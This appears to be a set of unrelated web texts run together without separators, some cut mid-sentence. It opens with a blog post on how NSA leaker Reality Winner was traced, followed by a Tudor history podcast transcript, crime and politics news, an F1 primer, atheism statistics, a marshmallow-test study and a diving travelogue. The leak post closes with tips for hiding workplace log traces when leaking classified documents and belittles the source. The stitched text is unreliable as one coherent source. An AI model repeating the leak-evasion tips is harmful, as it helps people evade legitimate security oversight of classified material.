14. The U.S. Government Agency examined the document shared by the News Outlet and determined the pages of the intelligence reporting appeared to be folded and/or creased,suggesting they had been printed and hand-carried out of a secured space. 15. The U.S. Government Agency conducted an internal audit to determine who accessed the intelligence reporting since its publication. The U.S. Government Agency determined that six individuals printed this reporting. These six individuals included WINNER. A further audit of the six individuals' desk computers revealed that WINNER had e-mail contact with the News Outlet. The audit did not reveal that any of the other individuals had e-mail contact with the News Outlet. The source that provided the document had no operational security at all. She printed the document on a government printer. All (color) printers and photo copiers print nearly invisible (yellow) patters on each page that allow to identify the printer used by its serial number. The source used email from her workplace to communicate. Ms. Winner is young, inexperienced and probably not very bright. (She is also said to be Clinton partisan.) She may not have known better. But a reporter at The Intercept should know a bit or two about operational security. Sending (and publishing) the leaked documents as finely scanned PDF's (which include (de) the printer code) to the NSA to let the NSA verify them was incredibly stupid. Typically one only summarize these or at least converts them into a neutral, none traceable form. Instead the reporters provided at several points and without any need the evidence that led to the unmasking of their source. Wikileaks is offering $10,000 for the exposure and firing of the person responsible for this. It is also highly questionable why the Intercept contacted the NSA seven days(!) before publishing its piece. Giving the government such a long reaction time may lead to preemptive selective leaks by the government to other news outlets to defuse the not yet published damaging one. It may give the government time to delete evidence or to unveil leakers. The Intercept certainly knows this. It had been burned by such behavior when the National Counterterrorism Center spoiled an Intercept scoop by giving a polished version to the Associate Press. Back then the Intercept editor John Cook promised to give government agencies no longer than 30 minutes for future replies. In this case it gave the NSA seven days! Besides the failure(?) of The Intercept there are other concerns to note. Why has a 25 year old language specialist for Afghanistan access to Top Secret NSA analysis of espionage in the U.S. election? Where was the "need to know"?
Could this espionage -if it happened- have been part of a different plan by whomever? Consider: @mattblaze
Simple way to hack elections: Compromise some county offices & systems. Do nothing. If election doesn’t go your way, reveal that you hacked.
10:52 PM - 5 Jun 2017 More additional question are asked in this thread. The lessons learned from this catastrophic -for the source- leak: Start thinking of good op-sec before you think of leaking.
Computer access gets logged. Do not leave any suspicious (log) trace at your workplace (or anywhere else).
Do not provide any trace from your immediate workplace or any personal metadata with the leaked material. And last but certainly not least: Do not trust The Intercept. Posted by b on June 6, 2017 at 06:09 AM | Permalink Comments next page » next page »Episode 77 of the Renaissance English History Podcast is an interview with Tudor Times on Elizabeth of York, the mother of Henry VIII.
Listen here:
Book Recommendations on Elizabeth of York
Elizabeth of York: A Tudor Queen and Her World from Alison Weir (Amazon affiliate link)
Elizabeth of York: Forgotten Tudor Queen from Amy Licence (Amazon affiliate link)
TRANSCRIPT
(Remember, if you like this show, there are two main ways you can support it. First (and free!) you can leave a review on iTunes. It really helps new people discover the show. Second, you can support the show financially by becoming a patron on Patreon for as little as $1 episode. Also, you can buy one of my journals, planners, or virtual tours!)
Heather Teysko: Hello, and welcome to the Renaissance English History podcast. I’m your host, Heather Teysko, and I’m a storyteller who makes history accessible because I believe it’s a pathway to understanding who we are, our place in the universe, and our connection to our own humanity. This is episode 73. It’s another joint episode with Melita Thomas of Tudor Times on Elizabeth of York. Just a quick note that the Renaissance English History podcast is a proud member of the Agora Podcast Network, which you can learn more about at agorapodcastnetwork.com.
Remember, you can get more information, resources, and sign up for the mailing list, which gets you extra mini casts and all kinds of stuff, at englandcast.com. There’s a lot of great stuff going on there, like next week’s free mini e-course called Inspiration From Kick-ass Tudor Women, so go to englandcast.com to check it all out. Also, I’m coming up on 75 episodes, so I’m going to have a part on April the 7th, and it’s going to be on Facebook Live. So go to englandcast.com, again, to check that out. I’ll be taking live questions or the questions that you send me in advance, so it’s going to be super fun. Hannah’s going to be making an appearance there, too, so we’re both excited.
Now let me introduce you to Melita. Melita Thomas is a co-founder and editor of Tudor Times, a website devoted to Tudor and Stewart history in the period from 1485 to 1625. You can find it at tudortimes.co.uk. Melita, who has always been fascinated by history, ever since she saw the 1970s series Elizabeth R with Glenda Jackson, also contributes articles to BBC History Extra and Britain Magazine. So, Melita, what is it that makes Elizabeth of York special, and tell us a little bit about who she was.
Melita Thomas: I still don’t think that anybody has found that she was an enormously proactive or powerful individual politically, but she’s certainly an interesting woman. Elizabeth of York was right at the heart of the Wars of the Roses. Her influence over her husband and children is definitely there. It’s just that she wasn’t noisy about it. The other interesting information about her comes from her privy purse expenses, which were cataloged in the 19th century and give all sorts of information, unfortunately only about the last year of her life, but give a great picture of what it was like to be a Late Medieval queen. What she spent her money on, what she did with her time, and so forth. I think she’s also been perhaps brought to the forefront by a renewed interest in the Wars of the Roses, because she was very much caught up in that, as the daughter of Edward IV and Elizabeth Woodville and the sister of the Princes in the Tower. That was one of the reasons we wanted to look at her as person of the month. She does bridge that gap between the Medieval period and the Tudor period. It’s interesting to think about how somebody’s life …
Obviously, she was a member of the House of York, but she married the Lancastrian Henry VII. Many people felt she had a better right to the throne than he did, but she never seems to have thought of herself as a queen in her own right. Most women wouldn’t have done at the time. She was very much admired in her own time. Greatly mourned when she died. I haven’t come across a single negative word about her, actually. Every recount was very positive.
Heather Teysko: You mentioned the renewed interest in Elizabeth of York, and the interest in the Wars of the Roses. A certain historical fiction narrative author and TV series makes it seem like maybe she had a romance going on with a particular Yorkist king before Henry. Can you talk a little bit about that?
Melita Thomas: Yes. This is a story that actually began in the reign of Richard III himself. Richard III was her uncle, and there was a story that in early 1485, he was thinking of marrying his niece. Now, unsurprisingly, that gave rise to a good deal of gossip and unpleasant talk, because uncles marrying nieces was not considered any nicer then than it is now. Richard III publicly denied that he’d had any such idea at all. In the late 17th century …
No, actually, in the early 17th century, an antiquarian called George Buck claimed to have seen a letter written by Elizabeth of York to the Duke of Norfolk, Richard’s friend, insinuating that she was in love with her uncle and wanted to marry him, but the letter itself, no one else has ever seen the letter. The transcript of it was, it would appear, doctored by George Buck’s grandson, another George Buck, who forged a number of letters. The Richard III Society has actually transcribed what appears to have been the first manuscript. It’s capable of a number of interpretations. Personally, I wouldn’t have said that the first thing that leaped to my mind would be that she wanted to marry her uncle, but that’s one interpretation that’s been made of it.
The thing is perhaps she had a crush on her uncle, but he had claimed that her parents lived in adultery, that Elizabeth of York herself and her siblings were all illegitimate. He had taken the throne of her brother, and whatever happened to the Princes in the Tower, they disappeared whilst they were on Richard’s watch. Personally, I think it was unlikely that she wanted to marry him, but hey, who knows? I wouldn’t have thought most women in that circumstance would suddenly have a crush on him, but people stay with all sorts of people who are not necessarily ideal partners. I would have thought that being called illegitimate and having your parents branded adulterers and your brother disappearing might put you off a bit.
Heather Teysko: Yeah. Yeah, it might just a bit. Interesting.
Melita Thomas: No, it was certainly talked of at the time, but there we go.
Heather Teysko: If she was illegitimate anyway, it’s not as if she would have provided Richard with any greater claim to anything, if she was branded as illegitimate.
Melita Thomas: Well, that’s the tricky question. Richard claimed that his brother’s marriage to Elizabeth Woodville was not valid, and there are people who have accepted that claim, both then and since. Legally, the validity of a marriage was a matter for the church courts, and there was never any public airing of the evidence that was supposed to exist, and there was never any church court pronunciation on it, so it was not more than an act of parliament passed by Richard. So I would have thought it unlikely that Elizabeth herself would have thought of her parents’ marriage as invalid.
Heather Teysko: It seems like there’s, like you said, this Victorian idea about her. There’s this stereotype of her that she was just this quiet wife who took care of the children and she taught her children … There’s the idea that she taught Henry how to write and she taught her children personally rather than sending them away and that she was just this mother and this domestic person. What do you make of all of that? Can you talk a little bit about that?
Melita Thomas: I think that’s probably true in the sense a great deal of family affection seems to have been an important facet of her character. She was very close to all of her sisters. She seems to have been attached to her mother and to her children. She comes across as a very affectionate and loving woman all together. Fond of her cousins and nephews and nieces. Actually a really family person. The idea that she taught her children, I don’t know that there’s any actual evidence of it. It’s been identified as a possibility because of the similarity between her handwriting and that of Henry VIII’s, and I think that was the basis. I think Dr. Starkey hypothesized that Elizabeth of York did actually teach him, and it was certainly not impossible, though in the next generation, the humanists recommended that mothers should be the first tutors of their children, so it’s certainly perfectly possible. She wouldn’t have taught Arthur, who, as Prince of Wales, had his own tutors and his own household from a very early age, but she may well have taught the younger ones.
The accounts show that, in fact, both parents, both Elizabeth of York and Henry VII, took a good deal of interest in their children, in their music lessons, in their clothes, in just the general day-to-day parts of life. Her children didn’t live with her, partly because the royal household tended to be centered at Westminster, which wasn’t considered healthy for children, so her children were mostly at Eltham or at Greenwich or Sheen. Elizabeth traveled quite frequently with Henry VII. They moved about the country a fair bit, and it wasn’t suitable for young children to be dragged all over the country. But she visited them frequently, and they came to her, so she was probably closer to them than lots of Medieval queens were.
Heather Teysko: I realize we kind of skipped me asking you about Richard and everything like that. We just kind of skipped and have an assumption here that people will know about who she is, and I realize that’s probably a bit remiss of me to skip over that. So can you tell me just a little bit about who she is? Just kind of her life story.
Melita Thomas: Elizabeth of York was the oldest child of Edward IV and Elizabeth Woodville. She was born in 1466 in the Palace of Westminster, and her parents subsequently had another I think possibly a dozen children, of whom quite a few lived until adulthood. For a first few years, she was her father’s heir, because she only had sisters until 1471, but nobody ever thought of her as a potential queen. It was always assumed that Edward would go on to have sons, and he did. In her early youth, she was betrothed to the Dauphin of France as part of the Treaty of Picquigny, I think it was, the Treaty of Picquigny, between Edward IV and Louis of France. It was arranged that when she was of marriageable age, which was anywhere after the age of 12, but probably, more normally, 14, that she would go to France and become queen of France. She was known as Madame Le Dauphin at court, and everybody assumed that she would one day be queen of France. In 1482, about six months before he died, Edward IV was absolutely horrified, shocked, and people actually thought it led to a decline in his health when Louis of France broke the marriage off. Effectively, Elizabeth was publicly jilted and humiliated. Not very nice for a young woman who was, by that time, nearly 18.
At that time, then, there was talk of her marrying Henry Earl of Richmond, as he was considered to be the last Lancastrian heir, but whether Edward IV really intended such a marriage to take place, I think it’s fairly unlikely. He was more likely to be putting the idea forward to get Richmond into his hand to have him, what should we say, out of harm’s way. It would appear that Richmond’s mother, Margaret Beaufort and Elizabeth’s mother, Elizabeth Woodville, after Edward IV’s death, did put their heads together and decide that a marriage between Elizabeth and Richmond would be the answer to the whole Lancaster/York conflict. In fact, that is what happened. After Bosworth, Henry and Elizabeth were married in the January of 1486. They went on to have seven children, probably. There’s talk of an eighth, but there’s only real evidence of seven. She was crowned as queen in 1487 and was a remarkably popular and successful queen.
Heather Teysko: She, of course, died giving birth after Arthur, after Prince Arthur had died, right? She wanted to have another child.
Melita Thomas: Yes. Yes, it’s very sad. She had her first child birth, it was probably a bit premature, but it may even be that she and Henry had slept together before they were married. It’s certainly possible, but Arthur was probably a bit early, as well. Then, she didn’t have another child for nearly three years, which has led to people wondering if there was a miscarriage in-between. Her second child was a daughter, Margaret, who became queen of Scotland. Then there was Henry, born in 1491; a little girl, Elizabeth, who lived for about three years; Mary, who became queen of France; a little boy, Edmond, who lived about a year, born in 1499.
It seems that Henry and Elizabeth may have stopped sleeping together after Edmond was born, because apparently, she’d had a difficult pregnancy and with three sons, at that time, and two daughters, they didn’t need to have more children.
Then, Arthur died at the age of 15, and Elizabeth comforted her husband with the thought that they could still have more children. She fell pregnant again within a few weeks, which is why I assumed they’d stopped sleeping together, because she hadn’t been pregnant for a while. She had a reasonably healthy pregnancy. She was well enough to travel and go on a progress, but she went into labor probably a little earlier than she was anticipating again. Had a daughter, Catherine, but died when the baby was about 10 days old. Elizabeth died on her 37th birthday, sadly. Henry and her children, they were absolutely distraught at Elizabeth’s death.
Heather Teysko: Yeah, I can imagine. There’s that really touching story about when they found out that Arthur died, that Henry kept it together while she … One of them kept it together for the other one and then lost it right away.
Melita Thomas: Yes, that was it. When they married, it was an arranged political marriage, but all of the evidence suggests that they became attached to each other. I mean, people didn’t think of love in quite the way we do now. It was your duty to love your spouse, and people made as much of their marriages as they could, but they do seem to have been genuinely affectionate. They spent a lot of time together, and they comforted each other after Arthur’s death.
Heather Teysko: What was it like for her with the pretenders, particularly Perkin Warbeck, because so many people supported him? I know there were political reasons behind that, but it must have been very difficult for her, wondering whether this was her brother and having loyalty to her husband. Can you talk a little bit about that?
Melita Thomas: It’s one of those questions you just put in your mind and you think she must have been hoping against hope that it was her brother, in one way, but then absolutely terrified at the thought that it might be her brother, because how would she choose between her brother and her son? I mean, it’s an impossible situation that you dread being in. The evidence suggests that Henry, from fairly early on, was pretty sure it wasn’t Richard of York. Although we don’t know for certain that Elizabeth met Warbeck, she probably did. After the rebellion finally was crushed in 1497, Henry, having promised that Warbeck would be treated well if he gave himself up, he was a man of his word. Warbeck was actually brought to court and lived in the court, so Elizabeth must have seen him. If she recognized him as her brother, she never said so. You’d have to think that if he was her brother, Henry would have probably kept them apart. When she first confronted him, assuming that she did, she must have been disappointed and relieved in equal measure, I guess. It’s really hard to get your head around how you’d feel about that.
Heather Teysko: Yeah. On one hand, like you said, you’d want it to be your brother, but on the other hand, how do you choose, then?
Melita Thomas: Interestingly, Warbeck’s widow … Wife but then eventually widow, because Warbeck tried to escape from his very comfortable, gilded cage and eventually was executed. His wife, Lady Catherine Gordon, lived at the court, was one of Elizabeth’s closest ladies in waiting and friends. It’s all very odd when you think about it.
Heather Teysko: Court life, then, often seems to be very odd in ways that we would think.
Melita Thomas: Yes, it does. The whole everybody is so closely related to everybody else. That’s one of the things about the Wars of the Roses and even the later Tudor period. Everybody is somebody’s brother or sister or cousin or niece. The tangle of loyalties must have been endlessly confusing.
Heather Teysko: I was wondering about her relationship … We talked about this a little bit when we talked about Lady Margaret Beaufort. The idea of the stereotype sometimes about the-
Melita Thomas: The mother-in-law from hell.
Heather Teysko: Yeah. Can you talk to me a little bit about what her relationship was like with her mother-in-law?
Melita Thomas: Again, there’s sort of conflicting evidence about that. There’s a Spanish comment in one of the Spanish ambassador’s letters saying that Elizabeth was severely overshadowed by her mother-in-law and that Lady Margaret dominated her and that the queen, not surprisingly, didn’t much like that. If she didn’t like Lady Margaret, then she must have lived a miserable life, because they were together very, very frequently. Most of the time.
Certainly, the first 10 years of Henry’s reign, when Margaret was often at court. After that, she took a slightly less prominent role, but she was certainly a very much more dominating force than Elizabeth seems to have been. However, Margaret had been on good terms with Elizabeth’s own mother. You have to hope they got on well. There’s no evidence of any quarrels or ruptures between them. I should think that most women would have got a bit fed up with Margaret Beaufort’s constant presence, but I’m not sure there was anything ever really unhappy between them. It’s like any mother-in-law that you get on with pretty well, I suppose, but just sometimes wish wasn’t there. I mean, Margaret Beaufort took a lot of interest in Elizabeth’s children.
Elizabeth, as I said before, she was definitely a family woman, so perhaps that helped her to accommodate the situation. Again, in those times, people lived much more as part of an extended family rather than the nuclear family we expect today, where your mother-in-law comes around for Sunday lunch occasionally.
Heather Teysko: Sure. You talk about her being a family person. That was something else I wanted to ask you about. She spent a lot of her early life being uprooted with the Wars of the Roses and spending time in sanctuary and having a lot of uncertainty, I suppose, while, at the same time, being a princess and having this almost bipolar situation going on, it seems like. Can we play pop psychology to that?
Melita Thomas: Well, that may well have made her very protective of her family. When she was about four, probably one of her earliest memories would have been going into sanctuary in 1471, when the Lancastrians landed. Edward IV was driven from his thrown, and Elizabeth, her mother, took Elizabeth and her sisters into sanctuary at Westminster. It was there that her brother Edward was born. Although she may not have remembered it clearly, being about four, it’s likely to have had an impression on her mind. Edward returned within the year, and from that point until his death, matters were fairly safe, the Lancastrians having apparently been completely defeated. Then, there was the shock, as I mentioned before, when she was no longer going to marry the Dauphin, so her view of her future as queen of France was whisked away from her.
Heather Teysko: Why was the engagement cut off?
Melita Thomas: Personally, I have a sneaking suspicion that it was Louis taking his revenge, because before Edward IV admitted to being married to Elizabeth Woodville, who he married in secret, there had been long negotiations for him to marry Louis XI’s sister-in-law, Bonna of Savoy. There were these negotiations going on. Louis XI was imagining his sister-in-law going to be queen of England, and suddenly, the king announced that he was already secretly married. All very embarrassing and humiliating for Bonna of Savoy. I have a sneaky suspicion that Louis was perhaps getting his own back. The most straightforward reason was that he wanted his son, the Dauphin, Charles, to marry Anne of Brittany. Anne of Brittany was the oldest child and daughter of the Duke of Brittany |
, the child stopped breathing during the night and was found unresponsive Wednesday morning. The boy was pronounced dead not long after being transported to a nearby emergency room, police say.
Police allege Ritchie dunked the boy's legs in the blistering water for an unspecified length of time. The exact cause of his death has yet to be determined.
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Detectives have not commented on what allegedly prompted Richie to discipline her child.
Ritchie was arrested and charged with endangering children, with more charges possible depending on the outcome of the boy's autopsy.
She is being held in the Warren County Jail without bail and is expected to enter a plea during a preliminary hearing scheduled for Friday morning.
Ritchie has yet to hire a defense attorney.Ladies and gentlemen, Formula One is back!
We're kicking off our fifth year of LA F1 viewings at Tom's Urban at LA Live. This is a live viewing, so throw on your favorite F1 team shirt and come ready for a great time!
2016 Formula One Season Primer:
The first race of the season is often the most interesting, as each team builds a new car every year. The pecking order often shifts - sometimes dramatically - in this first race.
The world's best designers, engineers and drivers have spent the past year perfecting two machines for battle. Their first salvo is to be exchanged in Melbourne, Australia this month.
Last year, Mercedes-Benz dominated Formula One. The Silver Arrows won all but three of the 19 races - one of the most successful campaigns in the sport's history. The team's undisputed number one driver, Lewis Hamilton cruised to what appeared to be an almost easy title in 2015.
That leads to the theme for this year: Determination.
The most likely challenger to Lewis' title this year is team mate Nico Rosberg. Son of 1982 World Champion Keke Rosberg, Nico has been the bride's maid two years in a row and he'll be starting his 2016 campaign looking for a fight.
Ferrari has posted the fastest times of pre-season testing. The Scuderia (Italian for stable) is focused, razor sharp and has over half a century of knowledge built into its latest challenger. Will Ferrari drivers Sebastian Vettel and Kimi Raikkonen be able to take the fight to the reigning champs this year? It's hard to say, Mercedes-Benz has yet to show its full potential, having chosen to not run the two fastest tire compounds in pre-season testing.
English team McLaren Honda seems to be a long shot for any grand prix victories this year, but the latest car from Woking has massively improved since McLaren's disastrous season last year. The team has two masterful drivers in Fernando Alonso and Jenson Button, so its hard to count them out of anything, especially with the engineering prowess of McLaren and Honda backing their efforts. If they pull off a win this year, it will be a big deal.
Red Bull saw a major slip back in the running since switching to the new engines were put into action for the 2014 season. The team still seems to be in a rebuilding year, but the team hopes to challenge Ferrari this year. Its drivers, Daniel 'Honeybadger' Ricciardo and Danil Kvyat have proven talented, extremely entertaining to watch and fast as hell. Don't count them out yet.
Bonafide NASCAR institution Gene Haas is launching his first attempt at the World Championship this year. This marks the first US-based team to compete in Formula One since 1986. Look for them to celebrate this year after it scores its first constructor's points (to do this, it needs to finish in 10th place or higher).
The Renault team name will return to the pit lane as a manufacturer this year - having bought its team back from Lotus. The team has the ability to build a championship-winning car, but they'll be fighting in the middle this year.
Still unmentioned in this article are Williams (Has one of the best paint jobs in F1 and a shot at a GP win), Sauber (I would be shocked), Scuderia Toro Rosso (This team switched to Ferrari engines in an 11th hour deal, and will likely play catch up for most, if not all of 2016), Manor (They'd be happy to not be dead last).The Missouri House of Representatives [official website] on Thursday approved a right-to-work bill [materials] by a vote of 91-64. The bill will now be sent to the Missouri Senate [official website], where it could face a filibuster. Even if the bill is approved by the Senate, Governor Jay Nixon is expected to veto it. The bill allows workers who choose not to join a labor union to avoid paying dues, fees, assessments or other charges to a labor organization. Although the bill failed last year, supporters [Kansas City Star report] remain optimistic that the bill will pass this year. Even with these obstacles, the bill may still pass if both chambers override the expected veto from the Democratic governor with a two-thirds vote. Mike Louis, president of the Missouri AFL-CIO, stated:
A right-to-work law would cause unions to lose members and, in turn, some of their negotiating power. I do not expect the right-to-work bill to become law this session. The workers who belong to the unions would suffer and that would bleed over to the middle-class workers who are not represented by unions.
After Thursday’s vote, in which 23 Republicans joined Democrats in opposing the bill, passage of the bill this year appears unlikely.
Missouri is only the latest state to take up the issue. There are currently 24 states [NCSL report] that have passed right-to-work laws [JURIST backgrounder]. In November the Indiana Supreme Court upheld [JURIST report] the state’s right-to-work law, stating it did not violate the state’s constitution. In August 2013 the Michigan Court of Appeals ruled [JURIST report] that Michigan’s right-to-work law applies to civil service employees. JURIST Guest Columnist Karla Swift of the Michigan State AFL-CIO argued [JURIST op-ed] the right-to-work laws enacted by the Michigan Legislature in 2012 are unconstitutional and were enacted in violation of Michigan’s Open Meeting Act [text].Future has laid off at least three writers from GamesRadar+ just a month after touting the site's record-breaking traffic growth.
"Spurious rumors of my position (regarding Vanquish) changing are false," wrote the site's former US editor-in-chief Ludwig Kietzmann on Twitter. "It's my @gamesradar role that was eliminated."
Editor Maxwell McGee and associate editor Ashely Reed also confirmed on Twitter that they are no longer with the site. In his own post, McGee indicated that he would be leaving the gaming media entirely. The GamesRadar+-managed Twitter staff list now includes just 13 employees.
Last month, GamesRadar+ announced that it posted record traffic during the holidays, with December unique users up 29 percent year-over-year to 11.3 million. That broke the previous monthly record of 9.8 million unique users, which had only been set the month before.
The site recently underwent a change in management, as Future brought on Daniel Dawkins as its new global editor-in-chief earlier this month. As of this writing, Future had not returned a request for comment.Elizabethtown Police say they are trying to find the man they believe stole a 76-year old woman's purse, while she was visiting a graveyard.
That woman's daughter says she received a call letting her know her mother had been a victim.
"Why would someone put that upon a 76-year-old woman?" Debby Smith asked.
Smith says her mother was visiting the graves of her husband and son on October 22 when someone opened her car door and stole her purse while she was just a few feet away.
Elizabethtown Police say the thief used the woman's debit card to withdraw money at three different ATMs.
"Look at those surveillance photos, please share them. This is an absolutely despicable crime," said Officer John Thomas.
Police believe the man is in a black Hyundai Sonata with a license plate that was reported stolen in Louisville. Investigators believe the car could also be stolen.
"Whatever you bought with that money, I'm sure you got gratification for that time. But that gratification only lasts for a moment," Smith said.
Anyone with information about the crime is asked to call Elizabethtown police at 270-765-4125.Here is a list of the top fifty countries containing the highest percentage of people who identify themselves as atheist, agnostic, or non-believers in God.
These figures do not necessarily represent the number of people who are identify themselves as “atheists.” For example, in Estonia in 2004, 49% of people surveyed said they did not believe in God. At the same time, only 11% of people in the country identified themselves as atheists.
Sweden 8,986,000 46 – 85% 4,133,560 – 7,638,100 Vietnam 82,690,000 81% 66,978,900 Denmark 5,413,000 43 – 80% 2,327,590 – 4,330,400 Norway 4,575,000 31 – 72% 1,418,250 – 3,294,000 Japan 127,333,000 64 – 65% 81,493,120 – 82,766,450 Czech Republic 10,246,100 54 – 61% 5,328,940 – 6,250,121 Finland 5,215,000 28 – 60% 1,460,200 – 3,129,000 France 60,424,000 43 – 54% 25,982,320 – 32,628,960 South Korea 48,598,000 30 – 52% 14,579,400 – 25,270,960 Estonia 1,342,000 49% 657,580 Germany 82,425,000 41 – 49% 33,794,250 – 40,388,250 Russia 143,782,000 24 – 48% 34,507,680 – 69,015,360 Hungary 10,032,000 32 – 46% 3,210,240 – 4,614,720 Netherlands 16,318,000 39 – 44% 6,364,020 – 7,179,920 Britain 60,271,000 31 – 44% 18,684,010 – 26,519,240 Belgium 10,348,000 42 – 43% 4,346,160 – 4,449,640 Bulgaria 7,518,000 34 – 40% 2,556,120 – 3,007,200 Slovenia 2,011,000 35 – 38% 703,850 – 764,180 Israel 6,199,000 15 – 37% 929,850 – 2,293,630 Canada 32,508,000 19 – 30% 6,176,520 – 9,752,400 Latvia 2,306,000 20 – 29% 461,200 – 668,740 Slovakia 5,424,000 10 – 28% 542,400 – 1,518,720 Switzerland 7,451,000 17 – 27% 1,266,670 – 2,011,770 Austria 8,175,000 18 – 26% 1,471,500 – 2,125,500 Australia 19,913,000 24 – 25% 4,779,120 – 4,978,250 Taiwan 22,750,000 24% 5,460,000 Spain 40,281,000 15 – 24% 6,042,150 – 9,667,440 Iceland 294,000 16 – 23% 47,040 – 67,620 New Zealand 3,994,000 20 – 22% 798,800 – 878,680 Ukraine 47,732,000 20% 9,546,400 Belarus 10,311,000 17% 1,752,870 Greece 10,648,000 16% 1,703,680 North Korea 22,698,000 15%* 3,404,700 Italy 58,057,000 6 – 15% 3,483,420 – 8,708,550 Armenia 2,991,000 14% 418,740 China 1,298,848,000 8 – 14%* 103,907,840 – 181,838,720 Lithuania 3,608,000 13% 469,040 Singapore 4,354,000 13% 566,020 Uruguay 3,399,000 12% 407,880 Kazakhstan 15,144,000 11 – 12% 1,665,840 – 1,817,280 Mongolia 2,751,000 9% 247,590 Portugal 10,524,000 4 – 9% 420,960 – 947,160 USA 293,028,000 3 – 9% 8,790,840 – 26,822,520 Albania 3,545,000 8% 283,600 Argentina 39,145,000 4 – 8% 1,565,800 – 3,131,600 Kyrgyzstan 5,081,000 7% 355,670 Dominican Republic 8,834,000 7% 618,380 Cuba 11,309,000 7%* 791,630 Croatia 4,497,000 7% 314,790
Source: Zuckerman, Phil. “Atheism: Contemporary Rates and Patterns”, chapter in The Cambridge Companion to Atheism, ed. by Michael Martin, Cambridge University Press: Cambridge, UK (2005).
* NOTE: The estimates of the number of atheists in North Korea, China and Cuba may be unreliable. The best data available have been used in making these estimates, but the people in these three nations live under Communist governments which have traditionally suppressed religious freedom and officially (often forcibly) endorsed atheism.Have kids' abilities to delay gratification gotten better or worse over the years? A researcher conducted a test to see.
The marshmallow test is a famous psychological experiment intended to measure children's self control. A researcher places a tasty treat — often a marshmallow — before a child, and gives her a choice: She can eat the marshmallow now, or she can wait a set period of time and eat two marshmallows instead.
The test is a measure of a child's ability to delay gratification, which subsequent research has shown to be linked to all sorts of positive outcomes, like better grades, good behavior and even healthy body mass index.
Researchers have been administering the test to groups of kids for over 50 years now, which leads to a natural question: Have kids' abilities to delay gratification gotten better or worse over the years?
You might be tempted to answer “worse,” given all the alarming studies published about how electronic devices like smartphones and tablets are frying kids' brains, crippling their ability to self-regulate and generally turning them into screen-addicted zombies.
But you'd be wrong.
John Protzko, a researcher at the University of California at Santa Barbara, wanted to find out whether kids were getting better or worse at the marshmallow test over time. So he gathered and analyzed the results of over 30 published marshmallow test trials administered between 1968 and 2017.
For each study, he plotted the average amount of time kids were able to delay eating the marshmallow. He also corrected for differences in kids' ages when taking the test (older kids are better at delaying gratification than younger ones).
Here's what that trend looks like.
“Kids these days are better at delaying gratification on the marshmallow test,” Protzko writes. “Each year, all else equal, corresponds to an increase in the ability to delay gratification by another six seconds.”
This was something of a surprise. Before running the analysis, Protzko had surveyed 260 experts in the field of cognitive development to see what they predicted would happen.
Over half said they believed that kids' ability to delay gratification had gotten worse over time. Another 32 percent said there's be no change, while only 16 percent said kids' self-control had improved in the past 50 years.
The experts, it seems, were just as pessimistic about the abilities of today's kids as everyone else.
It's not clear what, exactly, could be causing kids' performance to improve — it's not like they teach the marshmallow test in schools. Kids are improving in other areas too: Protzko notes that IQ scores have increased at a similar rate to the marshmallow test scores, suggesting a possible link between the two.
On a whole host of other measures — substance use, sexual behavior, seat belt use, to name just a few — teenagers today are performing much better than their peers from several decades ago. Many of these measures reflect precisely the sort of gratification-delaying ability that the marshmallow test has been shown to predict.
Given all the good news about kids, Protzko wanted to know why so many experts had such a dour outlook.
Marshmallow test aside, Protzko's just as interested in why so many experts predicted it incorrectly. “How could so many experts in cognitive development believe that ability to delay gratification would decrease?” the paper asks. He calls it the “kids these days” effect: “the specifically incorrect belief that children in the present are substantively different and necessarily worse than children a generation or two ago.”
He notes that elders have been complaining about children's shortcomings since at least 419 B.C., when Greek playwright Aristophanes wrote “The Clouds.”
“It cannot be that society has been in decline due to failing children for over two millennia,” Protzko concludes. “Contrary to historical and present complaints, kids these days appear to be better than we were. A supposed modern culture of instant gratification has not stemmed the march of improvement.”Being brought up around boats and the sea, I was always interested with what was happening underneath the water, and longed to check it out for myself by going SCUBA diving. In addition, New Zealand has a ton of amazing dive sites, with arguably the best being around the Poor Knights Islands off the east coast of Northland.
We finally learned to SCUBA dive in Koh Tao, Thailand a few years ago, and went underwater again in Cozumel, Mexico last year. Upon returning to New Zealand a few months ago, one of our main goals by the end of the summer was to dive at the Poor Knights Islands. Fortunately, we were able to head out for a day with Dive! Tutukaka – the biggest dive operator for the Poor Knights. Our friends Pia and Mike joined us for this trip (yay for having friends who want to join us on adventures!).
Diving at the Poor Knights Islands
The Poor Knights Islands are best accessed from the small town of Tutukaka, about 45 minutes north of Whangarei in Northland. Tutukaka is where all the dive companies are located, as well as their boats. We stayed in the Tutukaka Holiday Park the night before our day out diving, which has tent and campervan sites, cabins, and a big shared kitchen. It was comfortable enough, but remember to take insect repellent! It cost us $120 for a 4-person cabin (with a shared bathroom and kitchen).
Early the next morning, we headed to Dive! Tutukaka’s HQ beside the marina. After getting signed in and our kit sorted, we grabbed a coffee next door and headed down Calypso, our boat for the day. It was a busy day, with about 30 divers on our boat, and another couple of Dive! Tutukaka boats heading out too.
During the 45 minute trip out to the islands, we got into groups with one of the crew members who would be our guide for the two dives. Cam was super enthusiastic and made sure we were all comfortable. Finally, we pulled into the first site of the day, and the skipper Jack regaled us with tales from the Islands, their importance to New Zealand and the Maori of the region, and an overview of the dive sites.
The Poor Knights have a different marine ecosystem to that of inshore coastal marine environments, because the warm East Auckland Current (an extension of the East Australian Current – remember from Finding Nemo?) streams past the islands but doesn’t go further in towards the shore. As such, the marine life at the Poor Knights has more of a tropical feel, with corals and tropical fish present. Quite often, tropical species such as sunfish get washed down the current and call the Islands home! The Poor Knights Islands and the surrounding waters are fully protected as a reserve under New Zealand law, and you are not allowed to step foot on the islands or fish around them – if you do, you risk a huge fine or imprisonment!
Finally, we donned our SCUBA gear (including 7 mm wetsuits, much thicker than the thin ones we are used to from diving in the tropics!) and jumped off the boat into the clear blue water. Our first dive was at a site named Brady’s Corner. There were thousands of fish swimming around as we descended.
The dive was great, with a couple of swim-throughs and some caves. The caves were a bit scary to start off with, because aside from Cam’s torch you couldn’t see a thing! We swam through the kelp forests that line the sea bed, spotted scorpion fish, moray eels and nudibranchs, and held kina (sea urchins) upside down once they suctioned onto your hand. It was awesome seeing New Zealand fish species that we’ve pulled up over the sides of boats for many years – snapper, kingfish, and trevally, to name a few.
After the first dive we were given lunch bags with a delicious sandwich, fruit, and a chocolate bar. Yum! While we were having a break, Jack took the boat inside Riko Riko Cave, which is actually the world’s biggest surveyed sea cave. It was absolutely massive inside, and echoed fantastically when all 40-odd people on the boat let out a collective “whoop!”.
